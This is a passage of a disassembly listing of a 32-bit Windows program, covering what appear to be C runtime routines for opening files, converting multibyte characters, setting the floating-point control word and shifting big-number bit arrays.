		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4242BE
		dec	eax
		jz	short loc_4242B5
		dec	eax
		jz	short loc_4242AC


loc_424297:				; CODE XREF: sub_42423B+9Fj
					; sub_42423B+E8j ...
		mov	dword_4DBDEC, 16h
		mov	dword_4DBDF0, ebx
		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDF4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2750765h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		call	near ptr 2630000h
		nop
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2680000h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		call	near ptr 26A0CACh
		nop
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD060h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDF0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFC4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB89C
		push	esi
		push	ebx
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFC4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE94


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2620000h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2720000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2720000h
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 2610000h
		nop
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD160
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD060[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE94, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D094
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBEA4
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE94, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE88
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D094
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBEA4
		call	near ptr 2720000h
		nop
		test	eax, eax
		mov	eax, dword_43D094
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBEA4
		call	near ptr 2720000h
		nop
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


